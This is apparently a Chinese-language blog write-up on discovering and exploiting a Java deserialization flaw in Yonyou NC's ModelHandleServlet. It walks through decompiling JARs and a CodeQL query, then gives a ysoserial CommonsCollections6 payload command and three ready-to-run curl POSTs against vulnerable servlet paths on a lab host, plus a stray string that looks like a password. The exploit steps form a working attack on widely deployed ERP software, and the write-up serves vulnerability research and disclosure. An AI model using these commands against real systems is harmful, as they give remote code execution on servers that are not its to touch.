0 Day 挖掘:用友 NC ModelHandleServlet 反序列化漏洞

注意
本文最后更新于 2024-03-01,文中内容可能已过时。

0 Day 挖掘:用友 NC ModelHandleServlet 反序列化漏洞

home/modules/aert/ 下的所有 JAR 文件全部提取出来,使用 procyon 反编译,再使用 extractor-java 建库。

使用官方自带的规则 UnsafeDeserialization.ql 查询反序列化漏洞,直接查询出一个利用链条。

image-20230801101721496

漏洞类是 uap.pub.ae.model.handle.ModelHandleServlet,在 service 方法中存在对请求 ServletRequest req 进行反序列化,反序列化点在同文件下的 getRequestObj 方法。

image-20230801102128570

查询可得 /modelHandleServletModelHandleServlet 的映射路由。

[root@localhost yonyou]# cat home/hotwebs/portal/ds/WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp">

        <welcome-file-list>
                <welcome-file>test/index.jsp</welcome-file>
        </welcome-file-list>
        <servlet>
                <servlet-name>modelHandleServlet</servlet-name>
                <servlet-class>uap.pub.ae.model.handle.ModelHandleServlet</servlet-class>
        </servlet>
        <servlet-mapping>
                <servlet-name>modelHandleServlet</servlet-name>
                <url-pattern>/modelHandleServlet</url-pattern>
        </servlet-mapping>

</web-app>

Opsopsops123!

由于 NC 存在 commons-collections:commons-collections:3.1 依赖,这里使用 ysoserialCommonsCollections6 利用链恶意二进制数据。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "touch /tmp/CC6_NC" > CC6_NC.ser

使用 curl 向漏洞对应路由发送恶意数据。执行完成脚本即攻击完成。

curl -vv -X POST -H "Content-Type: application/octet-stream" --data-binary @CC6_NC.ser http://192.168.11.129/servlet/~aert/uap.pub.ae.model.handle.ModelHandleServlet
curl -vv -X POST -H "Content-Type: application/octet-stream" --data-binary @CC6_NC.ser http://192.168.11.129/servlet/~ecapppub/nc.impl.ecpubapp.filemanager.service.ECFileManageServlet
curl -vv -X POST -H "Content-Type: application/octet-stream" --data-binary @CC6_NC.ser http://192.168.11.129/servlet/~aeam/nc.bs.pub.im.ContactsFuzzySearchServlet

进入靶机查看 /tmp/ 目录下查看是否成功写文件 success_NC

ls /tmp